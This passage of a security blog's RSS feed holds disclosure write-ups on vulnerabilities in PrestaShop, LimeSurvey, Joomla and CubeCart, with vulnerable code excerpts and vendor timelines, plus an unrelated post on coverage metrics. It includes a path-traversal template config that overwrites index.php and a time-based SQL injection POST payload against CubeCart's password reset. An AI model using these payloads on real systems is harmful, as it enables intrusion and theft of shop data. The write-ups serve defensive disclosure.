this attack technique in &lt;a href=&quot;https://blog-old.sonarsource.com/prestashop-remote-code-execution/&quot;&gt;our previous blog post&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;The Payload&lt;/h2&gt;&lt;p&gt;Finding a &lt;em&gt;PHP object chain&lt;/em&gt; can be a tedious and time-consuming process as the code base has to be searched for suitable classes which expose methods that can be used for exploitation. Often though, &lt;a href=&quot;https://getcomposer.org/&quot;&gt;Composer&lt;/a&gt; is used to adding many dependencies to the code base although only a small fraction of their code is actually used. In big applications like PrestaShop this results in a large attack surface for crafting a &lt;em&gt;PHP object chain&lt;/em&gt;. Even better, RIPS is able to automatically scan the code base for possible exploit chains when a PHP object injection was found. It was possible to leverage parts of the Monolog library to craft a chain that in the end executes arbitrary code on the PrestaShop server. We refrain from releasing a working exploit at this moment.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/02/09&lt;/td&gt;&lt;td&gt;Provided vulnerability details and PoC to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/02/13&lt;/td&gt;&lt;td&gt;Vendor&amp;nbsp;confirmed&amp;nbsp;security issue (https://github.com/PrestaShop/PrestaShop/pull/8755/)&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/02/26&lt;/td&gt;&lt;td&gt;Vendor released&amp;nbsp;patch (https://build.prestashop.com/news/prestashop-1-7-2-5-maintenance-release/)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this post we analyzed a critical security vulnerability in the popular PrestaShop e-commerce solution. It could be exploited &lt;em&gt;directly&lt;/em&gt; by setting up a free trial account of &lt;em&gt;PrestaShop Ready&lt;/em&gt; or by malicious PrestaShop users with a Salesman role. Successful exploitation leads to the remote execution of arbitrary system commands and to the breach of sensitive payment information of customers. It is highly recommended to update your shop installation. We would like to thank the PrestaShop team for the professional communication and the very fast release of a patch.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[LimeSurvey 2.72.3 - Persistent XSS to Code Execution]]></title><description><![CDATA[We detected two vulnerabilities in LimeSurvey < 2.72.3: An unauthenticated persistent cross-site scripting vulnerability (CVE-2017-18358) and an authenticated arbitrary file write vulnerability which can be chained.]]></description><link>https://www.sonarsource.com/blog/limesurvey-persistent-xss-to-code-execution</link><guid isPermaLink="false">2fe6beb5-21a1-5c4d-9120-f6b1fbe2cb2d</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Mon, 09 Apr 2018 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;LimeSurvey&lt;/em&gt; is an open source and commercial web application that enables its users to quickly design and setup scalable surveys. We detected two vulnerabilities in LimeSurvey &amp;lt; 2.72.3: An unauthenticated persistent cross-site scripting vulnerability (CVE-2017-18358) and an authenticated arbitrary file write vulnerability which can be chained. &lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Unauthenticated Persistent Cross-Site Scripting&lt;/h2&gt;&lt;p&gt;LimeSurvey 2.72.3 is prone to a persistent cross-site scripting vulnerability which is exploitable through the unauthenticated perspective. When submitting a public survey, the Continue Later feature allows users to save their partially completed survey repose and reload it at a later time. In order to identify the returning user, he provides an email address and a password when saving his response. This email address is persistently displayed unsanitized in the admin panel’s HTML context allowing the execution of malicious JavaScript.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;application/views/admin/saved/savedlist_view.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;46    &lt;td&gt;&lt;a href=&apos;mailto: &lt;?php echo $oResult-&gt;email; ?&gt;&apos;&gt;
47    &lt;?php echo $oResult-&gt;email; ?&gt;&lt;/td&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The JavaScript is executed in the browser of an authenticated victim who is visiting a specially crafted link or who is viewing the partially saved repose data in the administrator’s control panel. Through this vulnerability the attacker can perform actions in the name of the victim and therefore gains access to the &lt;em&gt;authenticated&lt;/em&gt; perspective of the web application which allows the adversary to leverage the next vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Authenticated Arbitrary File Write&lt;/h2&gt;&lt;p&gt;The exploitation of this vulnerability is only possible if the attacker can read, update and import &lt;a href=&quot;https://manual.limesurvey.org/Manage_users/en#Global_permissions&quot;&gt;templates&lt;/a&gt;. The attacker imports a new template by uploading a zip file containing a single &lt;code&gt;config.xml&lt;/code&gt; file. The XML file specifies the path of the file to be modified:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;template.zip/config.xml&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;
&lt;config&gt;
    &lt;files&gt;
        &lt;css&gt;
        	&lt;filename&gt;../../../index.php&lt;/filename&gt;
        &lt;/css&gt;
        &lt;js&gt;
        &lt;/js&gt;
        &lt;print_css&gt;
        &lt;/print_css&gt;
        &lt;rtl&gt;
            &lt;css&gt;
                &lt;filename&gt;../../../index.php&lt;/filename&gt;
            &lt;/css&gt;
            &lt;js&gt;&lt;/js&gt;
		&lt;print_css&gt;&lt;/print_css&gt;
        &lt;/rtl&gt;
        &lt;logo&gt;
            &lt;filename&gt;files/logo.png&lt;/filename&gt;
        &lt;/logo&gt;
    &lt;/files&gt;
    &lt;files_editable&gt;
            &lt;css&gt;
                &lt;filename&gt;../../../index.php&lt;/filename&gt;
            &lt;/css&gt;
            &lt;js&gt;
            &lt;/js&gt;
    &lt;/files_editable&gt;
    &lt;engine&gt;
    &lt;/engine&gt;
&lt;/config&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In this particular example the attacker modifies the &lt;code&gt;index.php&lt;/code&gt; file of the LimeSurvey web root by using the &lt;em&gt;built-in template file editor&lt;/em&gt;. This is possible because the web application does not properly sanitize the filenames which are passed within the &lt;code&gt;&amp;lt;files_editable&amp;gt;&lt;/code&gt; tag. Therefore a path traversal attack will mislead the application logic to treat the &lt;code&gt;index.php&lt;/code&gt; of the web root as an editable file of the template. The following method &lt;code&gt;templatesave_changes()&lt;/code&gt; is invoked when processing modifications to the template through the built-in template editor.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;application/controllers/admin/templates.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;606    public function templatesavechanges()
607    {
608        ⋮
609        if (returnGlobal(&apos;changes&apos;)) {
610            $changedtext = returnGlobal(&apos;changes&apos;);
611            $changedtext = str_replace(&apos;&lt;?&apos;, &apos;&apos;, $changedtext);
612            if (get_magic_quotes_gpc())
613                $changedtext = stripslashes($changedtext);
614        }
615        ⋮
616        $editfile        = returnGlobal(&apos;editfile&apos;);	
617        $aScreenFiles    = $this-&gt;getValidScreenFiles($sTemplateName);
618        $cssfiles        = $this-&gt;_initcssfiles($oEditedTemplate);
619        $jsfiles         = $this-&gt;_getEditableJsFiles($oEditedTemplate);
620        ⋮
621        // Check if someone tries to submit a file other than one of the allowed
622        if (in_array($editfile,$aScreenFiles)===false &amp;amp;&amp;amp;
623            in_array($editfile,$cssfiles)===false &amp;amp;&amp;amp;
624            in_array($editfile,$jsfiles)===false)
625        {
626            ⋮    // throw error
627        }
628        $savefilename = gettemplatefixlename(
629                    Yii::app()-&gt;getConfig(&apos;usertemplaterootdir&apos;) . &quot;/&quot; . $sTemplateName, $editfile);
630
631        if (is_writable($savefilename))
632        {
633            if (!$handle = fopen($savefilename, &apos;w&apos;))
634            {
635                ⋮    // throw error
636            }
637            if (!fwrite($handle, $changedtext))
638            {
639                ⋮    // throw error
640            }
641            ⋮
642            fclose($handle);
643        }
644        ⋮
645    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On line 610 the new content of the file is received through the parameter &lt;code&gt;changes&lt;/code&gt;. The variable &lt;code&gt;$editfile&lt;/code&gt; holds the name of the file and is received on line 616. The if statement ranging from line 622 to line 624 is the only check to prevent an attacker from changing files which are not part of the template. By previously importing the malicious template, the array &lt;code&gt;$cssfiles&lt;/code&gt; will contain the file &lt;code&gt;index.php&lt;/code&gt; causing the check to complete successfully and the file is finally opened and written to on line 633 and 637 respectively.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/08&lt;/td&gt;&lt;td&gt;Provided vulnerability details and PoC to vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/08&lt;/td&gt;&lt;td&gt;Vendor acknowledged and fixes cross-site scripting&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/11/10&lt;/td&gt;&lt;td&gt;Fixed version released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;The &lt;em&gt;vulnerability chaining&lt;/em&gt; in LimeSurvey 2.72.3 yields a single final exploit which would add malicious JavaScript code to the admin panel through the &lt;code&gt;Continue Later&lt;/code&gt; functionality of a public survey. As soon as the JavaScript payload is executed in the administrator context it can exploit the arbitrary file write vulnerability to give the adversary persistent shell access to the operating system remotely to maximize impact. Our proof of concept has shown that an unauthenticated attacker can chain multiple vulnerabilities to gain access to the remote system without user interaction. We thank LimeSurvey for the very fast reaction and patch and highly recommend to update to the latest version 3.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Joomla! 3.8.3: Privilege Escalation via SQL Injection]]></title><description><![CDATA[Joomla! is one of the biggest players in the market of content management systems and the second most used CMS on the web. We discovered a second-order SQL injection (CVE-2018-6376) that could be used by attackers to leverage lower permissions and to escalate them into full admin permissions on Joomla! prior version 3.8.4.]]></description><link>https://www.sonarsource.com/blog/joomla-privilege-escalation-via-sql-injection</link><guid isPermaLink="false">61dcca59-7383-5158-8b74-ab158aa96e5b</guid><dc:creator><![CDATA[Karim El Ouerghemmi]]></dc:creator><pubDate>Tue, 06 Feb 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla! is one of the biggest players in the market of content management systems and the second most used CMS on the web. We discovered a second-order SQL injection (CVE-2018-6376) that could be used by attackers to leverage lower permissions and to escalate them into full admin permissions on Joomla! prior version 3.8.4.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Who is affected&lt;/h2&gt;&lt;p&gt;Installations with the following requirements are affected by this vulnerability:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Joomla! version &amp;lt;= 3.8.3 and &amp;gt;= 3.7.0&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;For exploitation, an attacker needs to be authenticated to the Joomla! backend with a &lt;em&gt;Manager&lt;/em&gt; account. This user group is available by default in Joomla! and has lower privileges than the &lt;em&gt;Administrator&lt;/em&gt; or &lt;em&gt;Super Users&lt;/em&gt; user groups.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact - What can an attacker do&lt;/h2&gt;&lt;p&gt;An attacker exploiting this vulnerability can read arbitrary data from the database. This data can be used to further extend the permissions of the attacker. By gaining full administrative privileges she can take over the Joomla! installation by executing arbitrary PHP code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post we will demonstrate how the RIPS static code analyzer was used to automatically find the previously unknown vulnerability. Further, we discuss the technical details behind the security issue.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Technical Analysis: Second-Order Blind SQL Injection&lt;/h2&gt;&lt;p&gt;The SQL injection is located in the file &lt;code&gt;administrator/templates/hathor/postinstall/hathormessage.php&lt;/code&gt;. The following code summary shows the vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;administrator/templates/hathor/postinstall/hathormessage.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;1    function hathormessage_postinstall_condition()
2    {
3        ⋮
4        $adminstyle = $user-&gt;getParam(&apos;admin_style&apos;, &apos;&apos;);
5	 if ($adminstyle != &apos;&apos;)
6	 {
7            $query = $db-&gt;getQuery(true)
8                -&gt;select(&apos;template&apos;)
9                -&gt;from($db-&gt;quoteName(&apos;#__template_styles&apos;))
10               -&gt;where($db-&gt;quoteName(&apos;id&apos;) . &apos; = &apos; . $adminstyle[0])
11               -&gt;where($db-&gt;quoteName(&apos;client_id&apos;) . &apos; = 1&apos;);
12
13            // Get the template name associated to the admin style
14            $template = $db-&gt;setquery($query)-&gt;loadResult();
15            ⋮
16        }
17        ⋮
18    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The function &lt;code&gt;hathormessage_postinstall_condition()&lt;/code&gt; is called by a component for post-installation messages introduced in &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5516-joomla-3-2-0-stable-released.html&quot;&gt;Joomla! 3.2.0&lt;/a&gt; every time the dashboard is loaded. In this function, the content of the variable &lt;code&gt;$adminstyle&lt;/code&gt; gets concatenated into the &lt;code&gt;WHERE&lt;/code&gt; part of the constructed SQL query without proper sanitization in line 10. If an attacker can control the content of the parameter &lt;code&gt;admin_style&lt;/code&gt;, she can inject arbitrary SQL into the query that is executed in line 14.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The parameter&lt;code&gt; admin_style&lt;/code&gt; is received in line 4. It contains the ID of the backend template that the user has configured for usage. A user can change this parameter in his profile settings. A quick verification by intercepting the saving request for user parameters and changing the value for &lt;code&gt;admin_style&lt;/code&gt; showed that it is saved to the database without any further check or sanitization. Thus, an attacker can inject arbitrary content into this parameter that is later used in the SQL query. This SQL injection is a second-order vulnerability since the payload is first saved to the database and later used in the query. The query result is not displayed directly on the web page, thus, an attacker needs to use error-based or timing-based injection techniques for exploitation. The following figure demonstrates how an XPath error message within the SQL query can be used to read out the session ID of a currently logged-in administrator.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/6cb4b2b5-3aef-49a9-b603-c041a5d811e2/body-ea343978-c1a4-410c-8581-5f9d77e3dbd9_error_based_sql_injection.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;What&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/01/17&lt;/td&gt;&lt;td&gt;Reported vulnerability to the Joomla! security team&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/01/17&lt;/td&gt;&lt;td&gt;Vendor confirmed and proposed a patch&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2018/01/29&lt;/td&gt;&lt;td&gt;MITRE assigned CVE-2018-6376&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2017/01/30&lt;/td&gt;&lt;td&gt;Vendor released fixed version 3.8.4&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;Security vulnerabilities are everywhere and can be found even in the most popular and most reviewed open source applications. A new SQL injection vulnerability was uncovered in Joomla! that affects versions prior to &lt;strong&gt;3.8.4&lt;/strong&gt;. In this blog post, we examined the roots of the second-order blind SQL injection and demonstrated how static analysis can help finding such hidden security issues in large and complex PHP projects.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the security team behind Joomla! for their professional collaboration and for quickly resolving the issues with the release of version &lt;a href=&quot;https://www.joomla.org/announcements/release-news/5723-joomla-3-8-4-release.html&quot;&gt;3.8.4&lt;/a&gt;. If you are still using an older version, we encourage you to update.&lt;/p&gt;&lt;h3&gt;Related Posts&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;Exploiting Hibernate Injections&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;Joomla! 3.7.5 - Takeover in 20 Seconds with LDAP Injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;Backend SQL Injection in BigTree CMS 4.4.6&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;dotCMS 5.1.5: Exploiting H2 SQL injection to RCE&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;CubeCart 6.1.12 - Admin Authentication Bypass&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;Pre-Auth Takeover of OXID eShops&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/joomla-privilege-escalation-via-sql-injection/&quot;&gt;Breaking Into Your Company&amp;#x27;s Internal Network - SuiteCRM 7.11.4&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Why did my coverage just drop?!]]></title><description><![CDATA[After an upgrade people are sometimes surprised to find that the next analysis of a project with no real changes shows a significant drop in coverage. Believe it or not, that really is a feature, not a bug, and it's called Executable Lines.]]></description><link>https://www.sonarsource.com/blog/executable_lines</link><guid isPermaLink="false">a5ba9504-cf1e-5256-83e8-57ffc56a0ae0</guid><dc:creator><![CDATA[G. Ann Campbell]]></dc:creator><pubDate>Tue, 23 Jan 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;After an upgrade people are sometimes surprised to find that the next analysis of a project with no real changes shows a significant drop in coverage. Believe it or not, that really is a feature, not a bug, and it&amp;#x27;s called Executable Lines.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Executable Lines is a metric we created to count the number of lines in a file that &lt;em&gt;could&lt;/em&gt; be executed by unit tests. Why does that matter to your coverage percentage? Because we&amp;#x27;re now using it as the denominator when we calculate total coverage. To understand why, imagine a project with two files of 100 lines each. File A is fully unit tested, and file B has no unit tests. The report we get from the coverage engine might (depending on the engine) only include file A, and show that the project is 100% covered. Before we introduced Executable Lines, we could only go by the coverage report, so we would also show that two-file project was shown as 100% covered, when coverage is really only 50%. With the introduction of executable lines, we&amp;#x27;re able to take files omitted from the coverage reports into account to show the &lt;em&gt;real&lt;/em&gt; coverage numbers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finding those real numbers becomes even more important when you consider projects without any coverage at all. At the project level, the practical effect of introducing Executable Lines is that the value displayed goes from &amp;quot;-&amp;quot; (for no data) to &amp;quot;0%&amp;quot;, which in real terms is no difference at all, since such projects probably already have &lt;a href=&quot;https://docs.sonarqube.org/display/SONAR/Quality+Gates&quot;&gt;quality gates&lt;/a&gt; that ignore coverage. But aggregate that project into a &lt;a href=&quot;https://docs.sonarqube.org/display/SONAR/Portfolios&quot;&gt;Portfolio&lt;/a&gt; or &lt;a href=&quot;https://docs.sonarqube.org/display/SONAR/Applications&quot;&gt;Application&lt;/a&gt;, and the impact of finally realizing that one of the projects in your aggregation has no tests can be significant.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You may be wondering at this point why we needed a new metric for this missing coverage calculation. Why not just use Lines of Code? Because not every line of code is executable. For instance, an import statement is a Line of Code, but not something that needs to be (or &lt;em&gt;can&lt;/em&gt; be) covered by unit tests. The same can be said for class declarations, interface declarations, variable declarations, and so on. In fact, we&amp;#x27;ve written up a &lt;a href=&quot;https://docs.sonarqube.org/display/DEV/Executable+Lines&quot;&gt;developer guide&lt;/a&gt; to describe all the types of Lines of Code that are &lt;em&gt;not&lt;/em&gt; Executable Lines.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Of course, nothing is without side effects. The first is that your SonarQube coverage percentage probably won&amp;#x27;t agree any more with the percentage reported by your coverage engine. That&amp;#x27;s because your coverage engine is only looking at part of the picture, and SonarQube is looking at all of it. The other side effect is that if you&amp;#x27;ve explicitly configured your coverage engine to ignore certain parts of your code base, well... SonarQube is going to automatically re-incorporate them, so you&amp;#x27;ll have to configure the exclusions again on the SonarQube side, but that should be a one-time operation.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Assuming you&amp;#x27;re on a recent version of SonarQube, an upgrade of the relevant language analyzer means you&amp;#x27;ll automatically start seeing this behavior if the new analyzer version supplies the metric. The confusing part for some is that they didn&amp;#x27;t upgrade their analyzers; they upgraded the platform. But with every platform release we bundle the latest versions of the analyzers, so by doing one, you very often automatically do the other.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In case you&amp;#x27;re wondering, these are the analyzer versions that implement Executable Lines:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;SonarC# 6.0&lt;/li&gt;&lt;li&gt;SonarCFamily 4.9&lt;/li&gt;&lt;li&gt;SonarJava 4.4&lt;/li&gt;&lt;li&gt;SonarJS 2.20&lt;/li&gt;&lt;li&gt;SonarPHP 2.9.2&lt;/li&gt;&lt;li&gt;SonarPLSQL 3.0&lt;/li&gt;&lt;li&gt;SonarPython 1.9&lt;/li&gt;&lt;li&gt;SonarSwift 2.1&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Before you ask, Executable Lines is &amp;quot;coming soon&amp;quot; for the rest of the analyzers.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[CubeCart 6.1.12 - Admin Authentication Bypass]]></title><description><![CDATA[CubeCart is an open source e-commerce solution. In one of our latest security analysis we found two flaws in this web application that allow an attacker to circumvent the authentication mechanism required to login as an administrator (CVE-2018-20716).]]></description><link>https://www.sonarsource.com/blog/cubecart-admin-authentication-bypass</link><guid isPermaLink="false">283e74fc-1d09-5e56-ad9f-4a34ba1c6538</guid><dc:creator><![CDATA[Robin Peraglie]]></dc:creator><pubDate>Wed, 17 Jan 2018 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;CubeCart is an open source e-commerce solution. In one of our latest security analysis we found two flaws in this web application that allow an attacker to circumvent the authentication mechanism required to login as an administrator (CVE-2018-20716). Once bypassed, an attacker can execute arbitrary code on the web server and steal all sensitive files and data.&lt;/p&gt;&lt;h2&gt;I Forgot My Password!&lt;/h2&gt;&lt;p&gt;Both vulnerabilities are exploitable through CubeCarts “I forgot my Password!” functionality. It is implemented in the file classes/cubecart.class.php, in the method _recovery(). When a user forgot his password, he can use this feature to enter his email address, a valid password reset token he received via email, and his new password for reset.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/cubecart.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;2761    private function _recovery() {
2762        if (isset($_POST[&apos;email&apos;]) 
2763        &amp;&amp; isset($_POST[&apos;validate&apos;]) 
2764        &amp;&amp; isset($_POST[&apos;password&apos;])) {
2765            $GLOBALS[&apos;user&apos;]-&gt;passwordReset($_POST[&apos;email&apos;], 
2766                $_POST[&apos;validate&apos;], 
2767                $_POST[&apos;password&apos;]);
2768        }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At the beginning of this method, these three user controlled parameters are passed to the &lt;code&gt;passwordReset()&lt;/code&gt; method of the &lt;code&gt;User&lt;/code&gt; class located in &lt;code&gt;classes/user.class.php&lt;/code&gt;. The method is responsible for the account retrieval.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/user.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;679    public function passwordReset($email, $verification, $password) {
680        if (filter_var($email, FILTER_VALIDATE_EMAIL) 
681        &amp;&amp; !empty($verification) &amp;&amp;!empty($password[&apos;password&apos;])
682        &amp;&amp; !empty($password[&apos;passconf&apos;]) 
683        &amp;&amp; ($password[&apos;password&apos;] === $password[&apos;passconf&apos;])) {
684
685            if (($check = $GLOBALS[&apos;db&apos;]-&gt;select(&apos;CubeCart_customer&apos;, 
686                array(&apos;customer_id&apos;, &apos;email&apos;),
687                array(&apos;email&apos;=&gt;$email, &apos;verify&apos;=&gt;$verification)))!==false) {
688                ⋮
689                // Password reset successful
690                ⋮
691            }
692        }	
693        ⋮
694        return false;    // Password reset failed
695    }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;passwordReset()&lt;/code&gt; method starts to check if the email is a valid email address, if all parameters are non-empty, and if the passwords are equal on line 680-683. If one of those checks fails the password reset progress will fail on line 694. Otherwise, the next check is a database query issued by a &lt;code&gt;select()&lt;/code&gt; call in the lines 685-687. Here, the user supplied &lt;code&gt;$email&lt;/code&gt; and &lt;code&gt;$verification&lt;/code&gt; token is used as arguments.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/database.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;569    public function select($table, $columns = false, $where = false) {
570        $table_where = $table;
571        ⋮
572        $parent_query = &quot;SELECT $sql_cache $calc_rows &quot;.
573            implode(&apos;, &apos;, $cols). &quot; FROM $wrapper{$prefix}$table$wrapper &quot;.
574            $this-&gt;where($table_where, $where).&quot; $group $orderString $limit;&quot;;
575        ⋮
576        $this-&gt;_execute($cache);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The &lt;code&gt;select()&lt;/code&gt; method constructs a SQL query which is then sent to the database (line 576). To construct the &lt;code&gt;WHERE&lt;/code&gt; clause of the &lt;code&gt;SELECT&lt;/code&gt; query, the application uses the vulnerable method &lt;code&gt;where()&lt;/code&gt; in line 574. In the next two sections we will analyze this &lt;code&gt;where()&lt;/code&gt; method and present two individually detected vulnerabilities.&lt;/p&gt;&lt;h2&gt;Unauthenticated Blind SQL Injection&lt;/h2&gt;&lt;p&gt;The &lt;code&gt;where()&lt;/code&gt; method of the &lt;code&gt;database.class.php&lt;/code&gt; sanitizes values provided in the second parameter &lt;code&gt;$whereArray&lt;/code&gt; perfectly fine with the PHP built-in function &lt;code&gt;mysql_real_escape_string()&lt;/code&gt;. However, if the value is an array (line 811), then each value of the array is concatenated unsanitized into the SQL query on line 816.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;classes/database.class.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;807    public function where($table, $whereArray = null, $label = false) {
808    ⋮
809        foreach ($whereArray as $key =&gt; $value) {
810            ⋮
811            if (is_array($value)) {
812                foreach ($value as $val) {
813                    ⋮
814                    $or[] = &quot;`$key` IN (&quot;.implode(&apos;,&apos;, $value).&apos;)&apos;;
815                    ⋮
816                }
817                if (isset($or) &amp;&amp; is_array($or)) {
818                    $where[] = implode(&apos; OR &apos;, $or);
819                    unset($or);
820                }
821            }
822            ⋮
823        }
824        return &apos;WHERE &apos;.implode(&apos; AND &apos;, $where);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As an attacker we can now pass an array as our user input. This will allow us to inject SQL syntax into the constructed SQL query and to perform &lt;a href=&quot;https://blog.ripstech.com/tags/sql-injection/&quot;&gt;SQL injection&lt;/a&gt; attacks to extract sensitive information from the database. A malicious POST request could look like the following:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;email=contact@ripstech.com
validate[]=0)+OR+sleep(10
password[password]=secretnewpassword
password[passconf]=secretnewpassword
token=15f84b621a9982d65f82d6f12764ecdb&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Note how the &lt;code&gt;validate&lt;/code&gt; input parameter now is an array &lt;em&gt;not&lt;/em&gt; containing a valid password reset token anymore but our SQL payload. The constructed SQL query can be seen below (the injected part is at the end):&lt;/p&gt;&lt;pre&gt;&lt;code&gt;SELECT `customer_id`, `email` FROM `cc6111_CubeCart_customer` WHERE 
cc6111_CubeCart_customer.email = &apos;contact@ripstech.com&apos; 
